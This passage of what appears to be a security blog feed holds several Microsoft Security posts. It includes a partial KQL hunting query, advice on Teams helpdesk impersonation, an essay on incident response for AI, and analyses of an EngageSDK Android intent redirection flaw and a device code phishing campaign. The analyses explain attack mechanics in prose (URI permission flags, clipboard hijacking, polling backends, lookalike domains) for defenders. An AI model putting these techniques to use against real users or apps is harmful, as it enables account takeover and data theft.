    // Time bound keeps only alerts near the Teams activity; widen/narrow _timeFrame to tune sensitivity
    | where isnull(ATime) or ATime between (TTime .. TTime + _timeFrame)
    | extend MatchType = "ObjectId";
// Join path 2: Teams victim UPN -> alert AccountUpn
let _matches_upn =
    _teams_fc
    | where isnotempty(VictimUPN)
    | join hint.strategy=broadcast kind=leftouter (
        _alerts_by_upn
    ) on $left.VictimUPN == $right.AccountUpn
    | where isnull(ATime) or ATime between (TTime .. TTime + _timeFrame)
    | extend MatchType = "VictimUPN";
// Join path 3: Teams chat thread -> alert chat thread
let _matches_thread =
    _teams_fc
    | where isnotempty(ChatThreadId)
    | join hint.strategy=broadcast kind=leftouter (
        _alerts_by_thread
    ) on ChatThreadId
    | where isnull(ATime) or ATime between (TTime .. TTime + _timeFrame)
    | extend MatchType = "ChatThreadId";
//
// add branch 4 for host events
//
// Merge all match paths and collapse multiple alert hits per Teams event into one row
union _matches_oid, _matches_upn, _matches_thread
| summarize
    AlertTitles = make_set(Title, 50),
    AlertIds = make_set(AlertId, 50),
    MatchTypes = make_set(MatchType, 10),
    FirstAlertTime = min(ATime)
    by
        TTime,
        SenderUPN,
        SenderDisplayName,
        VictimUPN,
        VictimAccountObjectId,
        ChatThreadId

Protecting your organization from collaboration‑based impersonation attacks as demonstrated throughout this intrusion chain, cross‑tenant helpdesk impersonation campaigns rely less on platform exploitation and more on persuading users to initiate trusted remote access workflows within legitimate enterprise collaboration tools such as Microsoft Teams.

Organizations should treat any unsolicited external support contact as inherently suspicious and implement layered defenses that limit credential‑backed remote sessions, enforce Conditional Access with MFA and compliant device requirements, and restrict the use of administrative protocols such as WinRM to authorized management workstations. At the endpoint and identity layers, enabling Attack Surface Reduction (ASR) rules, Zero‑hour Auto Purge (ZAP), Safe Links for Teams messages, and network protection can reduce opportunities for sideloaded execution and outbound command‑and‑control activity that blend into routine HTTPS traffic.

Finally, organizations should reinforce user education—such as establishing internal helpdesk authentication phrases and training employees to verify external tenant indicators—to prevent adversaries from converting legitimate collaboration workflows into attacker‑guided remote access and staged data exfiltration pathways. As attackers adapt their impersonation tactics, Microsoft Defender Experts continues to strengthen protections across Teams, identity, and endpoint security to help reduce risk as threats shift.

References

• Protection Against Email Bombs with Microsoft Defender for Office 365 | Microsoft Community Hub
• Protection against multi-modal attacks with Microsoft Defender | Microsoft Community Hub
• Help on the line: How a Microsoft Teams support call led to compromise | Microsoft Security Blog
• Disrupting threats targeting Microsoft Teams | Microsoft Security Blog

This research is provided by Microsoft Defender Security Research with contributions from Jesse Birch, Sagar Patil, Balaji Venkatesh S (DEX), Eric Hopper, Charu Puhazholi, and other members of Microsoft Threat Intelligence.

Learn More

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post Cross‑tenant helpdesk impersonation to data exfiltration: A human-operated intrusion playbook appeared first on Microsoft Security Blog.

When a traditional security incident hits, responders replay what happened. They trace a known code path, find the defect, and patch it. The same input produces the same bad output, and a fix proves it will not happen again. That mental model has carried incident response for decades.

AI breaks it. A model may produce harmful output today, but the same prompt tomorrow may produce something different. The root cause is not a line of code; it is a probability distribution shaped by training data, context windows, and user inputs that no one predicted. Meanwhile, the system is generating content at machine speed. A gap in a safety classifier does not leak one record. It produces thousands of harmful outputs before a human reviewer sees the first one.

Fortunately, most of the fundamentals that make incident response (IR) effective still hold true. The instincts that seasoned responders have developed over time still apply: prioritizing containment, communicating transparently, and learning from each.

AI introduces new categories of harm, accelerates response timelines, and calls for skills and telemetry that many teams are still developing. This post explores which practices remain effective and which require fresh preparation.

The fundamentals still hold

The core insight of crisis management applies to AI without modification: the technical failure is the mechanism, but trust is the actual system under threat. When an AI system produces harmful output, leaks training data, or behaves in ways users did not expect, the damage extends beyond the technical artifact. Trust has technical, legal, ethical, and social dimensions. Your response must address all of them, which is why incident response for AI is inherently cross-functional.

Several established principles transfer directly.

Explicit ownership at every level. Someone must be in command. The incident commander synthesizes input from domain experts; they do not need to be the deepest technical expert in the room. What matters is that ownership is clear and decision-making authority is understood.

Containment before investigation. Stop ongoing harm first. Investigation runs in parallel, not after containment is complete. For AI systems, this might mean disabling a feature, applying a content filter, or throttling access while you determine scope.

Escalation should be psychologically safe. The cost of escalating unnecessarily is minor. The cost of delayed escalation can be severe. Build a culture where raising a flag early is expected, not penalized.

Communication tone matters as much as content. Stakeholders tolerate problems. They cannot tolerate uncertainty about whether anyone is in control. Demonstrate active problem-solving. Be explicit about what you know, what you suspect, and what you are doing about each.

These principles are tested, and they are effective in guiding action. The challenge with AI is not that these principles no longer apply; it is that AI introduces conditions where applying them requires new information, new tools, and new judgment.

Where AI changes the equation

Non-determinism and speed are the headline shifts, but they are not the only ones.

New harm types complicate classification and triage. Traditional IR taxonomies center on confidentiality, integrity, and availability. AI incidents can involve harms that do not fit those categories cleanly: generating dangerous instructions, producing content that targets specific groups, or enabling misuse through natural language interfaces. By making advanced capabilities easy to use, these interfaces enable untrained users to perform complex actions, increasing the risk of misuse or unintended harm. This is why we need an expanded taxonomy. If your incident classification system lacks categories for these harms, your triage process will default to “other” and lose signal.

Severity resists simple quantification. A model producing inaccurate medical information is a different severity than the same model producing inaccurate trivia answers. Good severity frameworks guide judgment; they cannot replace it. For AI incidents, the context around who is affected and how they are affected carries more weight than traditional security metrics alone can capture.

Root cause is often multi-dimensional. In traditional incidents, you find the bug and fix it. In AI incidents, problematic behavior can emerge from the interaction of training data, fine-tuning choices, user context, and retrieval inputs. Investigation may narrow the contributing factors without isolating one defect. Your process must accommodate that ambiguity rather than stalling until certainty arrives.

Before the crisis is the time to work through these implications. The questions that matter: How and when will you know? Who is on point and what is expected of them? What is the response plan? Who needs to be informed, and when? Every one of these questions that you answer before the incident is time you buy during it.

Closing the gaps in telemetry, tooling, and response

If AI changes the nature of incidents, it also changes what you need to detect and respond to them.

Observability is the first gap. Traditional security telemetry monitors network traffic, authentication events, file system changes, and process execution. AI incidents generate different signals: anomalous output patterns, spikes in user reports, shifts in content classifier confidence scores, unexpected model behavior after an update. Many organizations have not yet instrumented AI systems for these signals and, without clear signal, defenders may first learn about incidents from social media or customer complaints. Neither provides the early warning that effective response requires.

AI systems are built with strong privacy defaults – minimal logging, restricted retention, anonymized inputs – and those same defaults narrow the forensic record when you need to establish what a user saw, what data the model touched, or how an attacker manipulated the system. Privacy-by-design and investigative capability require deliberate reconciliation before an incident, because that decision does not get easier once the clock is running.

AI can also help close these gaps. We use AI in our own response operations to enhance our ability to:

• Detect anomalous outputs as they occur
• Enforce content policies at system speed
• Examine model outputs at volumes no human team can match
• Distill incident discussions so responders spend time deciding rather than reading
• Coordinate across response workstreams faster than email chains allow

Staged remediation reflects the reality of AI fixes. Incidents require both swift action and thorough review. A model behavior change or guardrail update may not be immediately verifiable in the way a traditional patch is. We use a three-stage approach:

• Stop the bleed. Tactical mitigations: block known-bad inputs, apply filters, restrict access. The goal is reducing active harm within the first hour.
• Fan out and strengthen. Broader pattern analysis and expanded mitigations over the next 24 hours, covering thousands of related items. Automation is essential here; manual review cannot keep pace.
• Fix at the source. Classifier updates, model adjustments, and systemic changes based on what investigation revealed. This stage takes longer, and that is acceptable. The first two stages bought time.

One practical tip: tactical allow-and-block lists are a necessary triage tool, but they are a losing proposition as a permanent solution. Adversaries adapt. Classifiers and systemic fixes are the durable answer.

Watch periods after remediation matter more for AI than for traditional patches. Because model behavior is non-deterministic, verification relies on sustained testing and monitoring across varied conditions rather than a single test pass. Sustained monitoring after each stage confirms that the remediation holds under varied conditions.

The human dimension

There is a dimension of AI incident response that traditional IR addresses unevenly and that AI makes urgent: the wellbeing of the people doing the work.

Defenders handling AI abuse reports and safety incidents are routinely exposed to harmful content. This is not the same cognitive load as analyzing malware samples or reviewing firewall logs. Exposure to graphic, violent, or exploitative material has measurable psychological effects, and extended incidents compound that exposure over days or weeks.

Human exhaustion threatens correctness, continuity, and judgment in any prolonged incident. AI safety incidents place an additional emotional burden on responders due to exposure to distressing content. Recognizing and addressing this challenge is essential, as it directly impacts the well-being of the team and the quality of the response.

What helps:

• Talk to your team about well-being before the crisis, not during it.
• Manager-sponsored interventions during extended response work, including scheduled breaks, structured handoffs, and deliberate activities that provide cognitive relief.
• Some teams use structured cognitive breaks, including visual-spatial activities, to reduce the impact of prolonged exposure to harmful content.
• Coaching and peer mentoring programs normalize the impact rather than framing it as individual weakness.
• Leveraging proven practices from safety content moderation teams, whose operational workflows for content review and escalation map directly to AI security moderation is a natural collaboration opportunity.

If your incident response plan does not account for the humans executing it, the plan is incomplete.

Looking ahead

Incident response for AI is not a solved problem. The threat surface is evolving as models gain new capabilities, as agentic architectures introduce autonomous action, and as adversaries learn to exploit natural language at scale. The teams that will handle this well are the ones building adaptive capacity now. Extend playbooks. Instrument AI systems for the right signals. Rehearse novel scenarios. Invest in the people who will be on the front line when something breaks. Good response processes limit damage. Great ones make you stronger for the next incident.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post Incident response for AI: Same fire, different fuel appeared first on Microsoft Security Blog.

During routine security research, we identified a severe intent redirection vulnerability in a widely used third-party Android SDK called EngageSDK. This flaw allows apps on the same device to bypass Android security sandbox and gain unauthorized access to private data. With over 30 million installations of third-party crypto wallet applications alone, the exposure of PII, user credentials and financial data were exposed to risk. All of the detected apps using vulnerable versions have been removed from Google Play.

Following our Coordinated Vulnerability Disclosure practices (via Microsoft Security Vulnerability Research), we notified EngageLab and the Android Security Team. We collaborated with all parties to investigate and validate the issue, which was resolved as of November 3, 2025 in version 5.2.1 of the EngageSDK. This case shows how weaknesses in third‑party SDKs can have large‑scale security implications, especially in high‑value sectors like digital asset management. 

As of the time of writing, we are not aware of any evidence indicating that this vulnerability has been exploited in the wild. Nevertheless, we strongly recommend that developers who integrate the affected SDK upgrade to the latest available version. While this is a vulnerability introduced by a third-party SDK, Android’s existing layered security model is capable of providing additional mitigations against exploitation of vulnerabilities through intents. Android has updated these automatic user protections to provide additional mitigation against the specific EngageSDK risks described in this report while developers update to the non-vulnerable version of EngageSDK. Users who previously downloaded a vulnerable app are protected.

In this blog, we provide a technical analysis of a vulnerability that bypasses core Android security mechanisms. We also examine why this issue is significant in the current landscape: apps increasingly rely on third‑party SDKs, creating large and often opaque supply‑chain dependencies.  

As mobile wallets and other high‑value apps become more common, even small flaws in upstream libraries can impact millions of devices. These risks increase when integrations expose exported components or rely on trust assumptions that aren’t validated across app boundaries. 

Because Android apps frequently depend on external libraries, insecure integrations can introduce attack surfaces into otherwise secure applications. We provide resources for three key audiences: 

• Developers: In addition to the best practices Android provides its developers, we provide practical guidance on identifying and preventing similar flaws, including how to review dependencies and validate exported components.  
• Researchers: Insights into how we discovered the issue and the methodology we used to confirm its impact.  
• General readers: An explanation of the implications of this vulnerability and why ecosystem‑wide vigilance is essential. 

This analysis reflects Microsoft’s visibility into cross‑platform security threats. We are committed to safeguarding users, even in environments and applications that Microsoft does not directly build or operate.  You can find a detailed set of recommendations, detection guidance and indicators at the end of this post to help you assess exposure and strengthen protections.

Technical details

The Android operating system integrates a variety of security mechanisms, such as memory isolation, filesystem discretionary and mandatory access controls (DAC/MAC), biometric authentication, and network traffic encryption. Each of these components functions according to its own security framework, which may not always align with the others_[1].  

Unlike many other operating systems where applications run with the user’s privileges, Android assigns each app with a unique user ID and executes it within its own sandboxed environment. Each app has a private directory for storing data that is not meant to be shared. By default, other apps cannot access this private space unless the owning app explicitly exposes data through components known as content providers.  

To facilitate communication between applications, Android uses intents_[2]. Beyond inter-app messaging, intents also enable interaction among components within the same application as well as data sharing between those components. 

It’s worth noting that while any application can send an intent to another app or component, whether that intent is actually delivered—and more broadly, whether the communication is permitted—depends on the identity and permissions of the sending application.  

Intent redirection vulnerability 

Intent Redirection occurs when a threat actor manipulates the contents of an intent that a vulnerable app sends using its own identity and permissions.  

In this scenario, the threat actor leverages the trusted context of the affected app to run a malicious payload with the app’s privileges. This can lead to: 

• Unauthorized access to protected components  
• Exposure of sensitive data 
• Privilege escalation within the Android environment

Android Security Team classifies this vulnerability as severe. Apps flagged as vulnerable are subject to enforcement actions, including potential removal from the platform_[3].

EngageLab SDK intent redirection

Developers use the EngageLab SDK to manage messaging and push notifications in mobile apps. It functions as a library that developers integrate into Android apps as a dependency. Once included, the SDK provides APIs for handling communication tasks, making it a core component for apps that require real-time engagement.

The vulnerability was identified in an exported activity (MTCommonActivity) that gets added to an application’s Android manifest once the library is imported into a project, after the build process. This activity only appears in the merged manifest, which is generated post-build (see figure below), and therefore is sometimes missed by developers. Consequently, it often escapes detection during development but remains exploitable in the final APK.

When an activity is declared as exported in the Android manifest, it becomes accessible to other applications installed on the same device. This configuration permits any other application to explicitly send an intent to this activity.   

The following section outlines the intent handling process from the moment the activity receives an intent to when it dispatches one under the affected application’s identity. 

Intent processing in the vulnerable activity 

When an activity receives an intent, its response depends on its current lifecycle state: 

• If the activity is starting for the first time, the onCreate() method runs.  
• If the activity is already active, the onNewIntent() method runs instead.  

In the vulnerable MTCommonActivity, both callbacks invoke the processIntent() method. 

This method (see figure below) begins by initializing the uri variable on line 10 using the data provided in the incoming intent. If the uri variable is not empty, then – according to line 16 – it invokes the processPlatformMessage():  

The processPlatformMessage() method instantiates a JSON object using the uri string supplied as an argument to this method (see line 32 below):  

Each branch of the if statement checks the JSON object for a field named n_intent_uri. If this field exists, the method performs the following actions: 

• Creates a NotificationMessage object  
• Initializes its intentUri field by using the appropriate setter (see line 52).  

An examination of the intentUri field in the NotificationMessage class identified the following method as a relevant point of reference:

On line 353, the method above obtains the intentUri value and attempts to create a new intent from it by calling the method a() on line 360. The returned intent is subsequently dispatched using the startActivity() method on line 365. The a() method is particularly noteworthy, as it serves as the primary mechanism responsible for intent redirection:

This method appears to construct an implicit intent by invoking setComponent(), which clears the target component of the parseUri intent by assigning a null value (line 379). Under normal circumstances, such behavior would result in a standard implicit intent, which poses minimal risk because it does not specify a concrete component and therefore relies on the system’s resolution logic.  

However, as observed on line 377, the method also instantiates a second intent variable — its purpose not immediately evident—which incorporates an explicit intent. Crucially, this explicitly targeted intent is the one returned at line 383, rather than the benign parseUri intent.  

Another notable point is that the parseUri() method (at line 376)   is called with the URI_ALLOW_UNSAFE flag (constant value 4), which can permit access to an application’s content providers [6] (see exploitation example below). 

These substitutions fundamentally alter the method’s behavior: instead of returning a non‑directed, system‑resolved implicit intent, it returns an intent with a predefined component, enabling direct invocation of the targeted activity as well as access to the application’s content providers. As noted previously, this vulnerability can, among other consequences, permit access to the application’s private directory by gaining entry through any available content providers, even those that are not exported.

Exploitation starts when a malicious app creates an intent object with a crafted URI in the extra field. The vulnerable app then processes this URI, creating and sending an intent using its own identity and permissions. 

Due to the URI_ALLOW_UNSAFE flag, the intent URI may include the following flags; 

• FLAG_GRANT_PERSISTABLE_URI_PERMISSION 
• FLAG_GRANT_READ_URI_PERMISSION  
• FLAG_GRANT_WRITE_URI_PERMISSION 

When combined, these flags grant persistent read and write access to the app’s private data.  

After the vulnerable app processes the intent and applies these flags, the malicious app is authorized to interact with the target app’s content provider. This authorization remains active until the target app explicitly revokes it [5]. As a result, the internal directories of the vulnerable app are exposed, which allows unauthorized access to sensitive data in its private storage space.  The following image illustrates an example of an exploitation intent:

Affected applications  

A significant number of apps using this SDK are part of the cryptocurrency and digital‑wallet ecosystem. Because of this, the consequences of this vulnerability are especially serious. Before notifying the vendor, Microsoft confirmed the flaw in multiple apps on the Google Play Store.

The affected wallet applications alone accounted for more than 30 million installations, and when including additional non‑wallet apps built on the same SDK, the total exposure climbed to over 50 million installations.  

Disclosure timeline

Microsoft initially identified the vulnerability in version 4.5.4 of the EngageLab SDK. Following Coordinated Vulnerability Disclosure (CVD) practices through Microsoft Security Vulnerability Research (MSVR), the issue was reported to EngageLab in April 2025. Additionally, Microsoft notified the Android Security Team because the affected apps were distributed through the Google Play Store.  

EngageLab addressed the vulnerability in version 5.2.1, released on November 3, 2025. In the fixed version, the vulnerable activity is set to non-exported, which prevents it from being invoked by other apps. 

Mitigation and protection guidance

Android developers utilizing the EngageLab SDK are strongly advised to upgrade to the latest version promptly. 

Our research indicates that integrating external libraries can inadvertently introduce features or components that may compromise application security. Specifically, adding an exported component to the merged Android manifest could be unintentionally overlooked, resulting in potential attack surfaces. To keep your apps secure, always review the merged Android manifest, especially when you incorporate third‑party SDKs. This helps you identify any components or permissions that might affect your app’s security or behavior.

Keep your users and applications secure

Strengthening mobile‑app defenses doesn’t end with understanding this vulnerability.

Take the next step: 

• Strengthen your defenses with Microsoft Defender XDR 
• Accelerate investigations with Microsoft Security Copilot 

Learn more about Microsoft’s Security Vulnerability Research (MSVR) program at http://approjects.co.za/?big=en-us/msrc/msvr

References

[1] Mayrhofer, René, Jeffrey Vander Stoep, Chad Brubaker, Dianne Hackborn, Bram Bonné, Güliz Seray Tuncay, Roger Piqueras Jover, and Michael A. Specter. The Android Platform Security Model (2023). ACM Transactions on Privacy and Security, vol. 24, no. 3, 2021, pp. 1–35. arXiv:1904.05572. https://doi.org/10.48550/arXiv.1904.05572.  

[2] https://developer.android.com/guide/components/intents-filters  

[3] https://support.google.com/faqs/answer/9267555?hl=en  

[4] https://www.engagelab.com/docs/  

[5] https://developer.android.com/reference/android/content/Intent#FLAG_GRANT_PERSISTABLE_URI_PERMISSION 

[6] https://developer.android.com/reference/android/content/Intent#URI_ALLOW_UNSAFE

This research is provided by Microsoft Defender Security Research with contributions from Dimitrios Valsamaras and other members of Microsoft Threat Intelligence.

Learn more

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)
• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post Intent redirection vulnerability in third-party SDK exposed millions of Android wallets to potential risk appeared first on Microsoft Security Blog.

Microsoft Defender Security Research has observed a widespread phishing campaign leveraging the device code authentication flow to compromise organizational accounts at scale. While traditional device code attacks are typically narrow in scope, this campaign demonstrated a higher success rate, driven by automation and dynamic code generation that circumvented the standard 15-minute expiration window for device codes. This activity aligns with the emergence of EvilTokens, a phishing-as-a-service (PhaaS) toolkit identified as a key driver of large-scale device code abuse.

This campaign is distinct because it moves away from static, manual scripts toward an AI-driven infrastructure and multiple automations end-to-end. This activity marks a significant escalation in threat actor sophistication since the Storm-2372 device code phishing campaign observed in February 2025.

• Advanced backend automation: Threat actors used automation platforms like Railway.com to spin up thousands of unique, short-lived polling nodes. This approach allowed them to deploy complex backend logic (Node.js), which bypassed traditional signature-based or pattern-based detection. This infrastructure was leveraged in the attack end-to-end from generating dynamic device codes to post compromise activities.
• Hyper-personalized lures: Generative AI was used to create targeted phishing emails aligned to the victim’s role, including themes such as RFPs, invoices, and manufacturing workflows, increasing the likelihood of user interaction.
• Dynamic code generation: To bypass the 15-minute expiration window for device codes, threat actors triggered code generation at the moment the user interacted with the phishing link, ensuring the authentication flow remained valid.
• Reconnaissance and persistence: Although many accounts were compromised, follow-on activity focused on a subset of high-value targets. Threat actors used automated enrichment techniques, including analysis of public profiles and corporate directories, to identify individuals in financial or executive roles. This enabled rapid reconnaissance, mapping of permissions, and creation of malicious inbox rules for persistence and data exfiltration.

Once authentication tokens were obtained, threat actors focused on post-compromise activity designed to maintain access and extract data. Stolen tokens were used for email exfiltration and persistence, often through the creation of malicious inbox rules that redirected or concealed communications. In parallel, threat actors conducted Microsoft Graph reconnaissance to map organizational structure and permissions, enabling continued access and potential lateral movement while tokens remained valid.

Attack chain overview

Device code authentication is a legitimate OAuth flow designed for devices with limited interfaces, such as smart TVs or printers, that cannot support a standard interactive login. In this model, a user is presented with a short code on the device they are trying to sign in from and is instructed to enter that code into a browser on a separate device to complete authentication.

While this flow is useful for these scenarios, it introduces a security tradeoff. Because authentication is completed on a separate device, the session initiating the request is not strongly bound to the user’s original context. Threat actors have abused this characteristic as a way to bypass more traditional MFA protections by decoupling authentication from the originating session.

Device code phishing occurs when threat actors insert themselves into this process. Instead of a legitimate device requesting access, the threat actor initiates the flow and provides the user with a code through a phishing lure. When the user enters the code, they unknowingly authorize the threat actor’s session, granting access to the account without exposing credentials.

Phase 1: Reconnaissance and target validation

 The threat actor begins by verifying account validity using the GetCredentialType endpoint. By querying this specific Microsoft URL, the threat actor confirms whether a targeted email address exists and is active within the tenant. This reconnaissance phase is a critical precursor, typically occurring 10 to 15 days before the actual phishing attempt is launched.

The campaign uses a multi-stage delivery pipeline designed to bypass traditional email gateways and endpoint security. The attack begins when a user interacts with a malicious attachment or a direct URL embedded within a high-pressure lure (e.g., “Action Required: Password Expiration”).

To evade automated URL scanners and sandboxes, the threat actors do not link directly to the final phishing site. Instead, they use a series of redirects through compromised legitimate domains and high-reputation “Serverless” platforms. We observed heavy reliance on Vercel (*.vercel.app), Cloudflare Workers (*.workers.dev), and AWS Lambda to host the redirect logic. By using these domains, the phishing traffic “blends in” with legitimate enterprise cloud traffic, preventing simple domain-blocklist triggers.

Once the targeted user is redirected to the final landing page, the user is presented with the credential theft interface. This is hosted as browser-in-the-browser (an exploitation technique commonly leveraged by the threat actor that simulates a legitimate browser window within a web page that loads the content threat actor has created) or displayed directly within the web-hosted “preview” of the document with a blurred view, “Verify identity” button that redirects the user to “Microsoft.com/devicelogin” and device code displayed.

Below is an example of the final landing page, where the redirect to DeviceLogin is rendered as browser-in-the-browser.

The campaign utilized diverse themes, including document access, electronic signing, and voicemail notifications. In specific instances, the threat actor prompted users for their email addresses to facilitate the generation of a malicious device code.

Unlike traditional phishing that asks for a password, this “Front-End” is designed to facilitate a handoff. The page is pre-loaded with hidden automation. The moment the “Continue to Microsoft” button is clicked, the authentication begins, preparing the victim for the “Device Code” prompt that follows in the next stage of the attack.

The threat actor used a combination of domain shadowing and brand-impersonating subdomains to bypass reputation filters. Several domains were designed to impersonate technical or administrative services (e.g., graph-microsoft[.]com, portal-azure[.]com, office365-login[.]com). Also, multiple randomized subdomains were observed (e.g., a7b2-c9d4.office-verify[.]net). This is a common tactic to ensure that if one URL is flagged, the entire domain isn’t necessarily blocked immediately. Below is a distribution of Domain hosting infrastructure abused by the threat actor:

Phase 2: Initial access

The threat actor distributes deceptive emails to the intended victims, utilizing a wide array of themes like invoices, RFPs, or shared files. These emails contain varied payloads, including direct URLs, PDF attachments, or HTML files. The goal is to entice the user into interacting with a link that will eventually lead them to a legitimate-looking but threat actor-controlled interface.

Phase 3: Dynamic device code generation

When a user clicks the malicious link, they are directed to a web page running a background automation script. This script interacts with the Microsoft identity provider in real-time to generate a live Device Code. This code is then displayed on the user’s screen along with a button that redirects them to the official microsoft.com/devicelogin portal.

The 15-Minute race: Static vs. dynamic

A pivotal element of this campaign’s success is dynamic device code generation, a technique specifically engineered to bypass the inherent time-based constraints of the OAuth 2.0 device authorization flow. A generated device code remains valid for only 15 minutes. (Ref: OAuth 2.0 device authorization grant). In older, static phishing attempts, the threat actor would include a pre-generated code within the email itself. This created a narrow window for success: the targeted user had to be phished, open the email, navigate through various redirects, and complete a multi-step authentication process all before the 15-minute timer lapsed. If the user opened the email even 20 minutes after it was sent, the attack would automatically fail due to the expired code.

Dynamic Generation effectively solves this for the threat actor. By shifting the code generation to the final stage of the redirect chain, the 15-minute countdown only begins the moment the victim clicks the phishing link and lands on the malicious page. This ensures the authentication code is always active when the user is prompted to enter it.

Generating the device code

The moment the user is redirected to the final landing page, the script on the page initiates a POST request to the threat actor’s backend (/api/device/start/ or /start/). The threat actor’s server acts as a proxy. The request carries a custom HTTP header “X-Antibot-Token” with a 64-character hex value, and an empty body (content-length: 0)

It contacts Microsoft’s official device authorization endpoint on-demand and provides the user’s email address as hint. The server returns a JSON object containing Device Code (with a full 15-minute lifespan) and a hidden Session Identifier Code. Until this is generated, the landing page takes some time to load.

Phase 4: Exploitation and authentication

To minimize user effort and maximize the success rate, the threat actor’s script often automatically copies the generated device code to the user’s clipboard. Once the user reaches the official login page, they paste the code. If the user does not have an active session, they are prompted to provide their password and MFA. If they are already signed in, simply pasting the code and confirming the request instantly authenticates the threat actor’s session on the backend.

Clipboard manipulation

To reduce a few seconds in 15-minute window and to enable user to complete authentication faster, the script immediately executes a clipboard hijack. Using the navigator.clipboard.writeText API, the script pushes the recently generated Device Code onto the victim’s Windows clipboard. Below is a screenshot of a campaign where the codes were copied to the user’s clipboard from the browser.

Phase 5 – Session validation

Immediately following a successful compromise, the threat actor performs a validation check. This automated step ensures that the authentication token is valid and that the necessary level of access to the target environment has been successfully granted.

The polling

After presenting the code to the user and opening the legitimate microsoft.com/devicelogin URL, the script enters a “Polling” state via the checkStatus() function to monitor the 15-minute window in real-time. Every 3 to 5 seconds (setInterval), the script pings the threat actor’s /state endpoint. It sends the secret session identifier code to validate if the user has authenticated yet. While the targeted user is entering the code on the real Microsoft site, the loop returns a “pending” status.

The moment the targeted user completes the MFA-backed login, the next poll returns a success status. The threat actor’s server now possesses a live Access Token for the targeted user’s account, bypassing MFA by design, due to the use of the alternative Device Code flow. The user is also redirected to a placeholder website (Docusign/Google/Microsoft).

Phase 6: Establish persistence and post exploitation

The final stage varies depending on the threat actor’s specific objectives. In some instances, within 10 minutes of the breach, threat actor’s registered new devices to generate a Primary Refresh Token (PRT) for long-term persistence. In other scenarios, they waited several hours before creating malicious inbox rules or exfiltrating sensitive email data to avoid immediate detection.

Post compromise

Following the compromise, attack progression was predominantly observed towards Device Registration and Graph Reconnaissance.

In a selected scenario, the attack progressed to email exfiltration and account persistence through Inbox rules created using Microsoft Office Application. This involved filtering the compromised users and selecting targets:

• Persona Identification: The threat actor reviewed and filtered for high-value personas—specifically those in financial, executive, or administrative roles—within the massive pool of compromised users.
• Accelerated Reconnaissance:  Using Microsoft Graph reconnaissance, the threat actor programmatically mapped internal organizational structures and identify sensitive permissions the moment a token was secured.
• Targeted Financial Exfiltration: The most invasive activity was reserved for users with financial authority. For these specific profiles, the threat actors performed deep-dive reconnaissance into email communications, searching for high-value targets like wire transfer details, pending invoices, and executive correspondence.

Below is an example of an Inbox rule created by the threat actor using Microsoft Office Application.

Mitigation and protection guidance

To harden networks against the Device code phishing activity described above, defenders can implement the following:

• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Educate users about common phishing techniques. Sign-in prompts should clearly identify the application being authenticated to. As of 2021, Microsoft Azure interactions prompt the user to confirm (“Cancel” or “Continue”) that they are signing in to the app they expect, which is an option frequently missing from phishing sign-ins. Be cautious of any “[EXTERNAL]” messages containing suspicious links. Do not sign-in to resources provided by unfamiliar senders. For more tips and guidance – refer to Protect yourself from phishing | Microsoft Support.
• Configure Anti-phising policies. Anti-phishing policies protect against phishing attacks by detecting spoofed senders, impersonation attempts, and other deceptive email techniques.
• Configure Safelinks in Defender for Office 365. Safe Links scanning protects your organization from malicious links that are used in phishing and other attacks. Safe Links can also enable high confidence Device Code phishing alerts from Defender.
• If suspected device code phishing activity is identified, please follow the guidance : Responding to a Compromised Email Account – Microsoft Defender for Office 365 | Microsoft Learn. Additionally, revoke the user’s refresh tokens by calling revokeSign-inSessions. Consider setting a Conditional Access Policy to force re-authentication for users. (Observations from recent campaigns indicate that standard session revocation often only invalidates refresh tokens, leaving existing access tokens active for up to an hour. Given the hands-on nature of this threat actor, they frequently exploit this window of opportunity; consequently, we recommend temporarily disabling the compromised account to ensure immediate containment, despite the potential for brief business disruption).
• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multi-factor authentication.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 

Microsoft recommends the following best practices to further help improve organizational defences against phishing and other credential theft attacks:

• Require multifactor authentication (MFA). Implementation of MFA remains an essential pillar in identity security and is highly effective at stopping a variety of threats.
  • Leverage phishing-resistant authentication methods such as FIDO Tokens, or Microsoft Authenticator with passkey. Avoid telephony-based MFA methods to avoid risks associated with SIM-jacking.
  • Block legacy authentication with Microsoft Entra by using Conditional Access. Legacy authentication protocols do not have the ability to enforce MFA, as legacy MFA (per-user MFA prompts) is susceptible to abuse.
• Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location. The added benefits to centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Entra ID’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier. It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach.
• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Entra ID environments to slow and stop the threat actor.

Microsoft Defender XDR detections

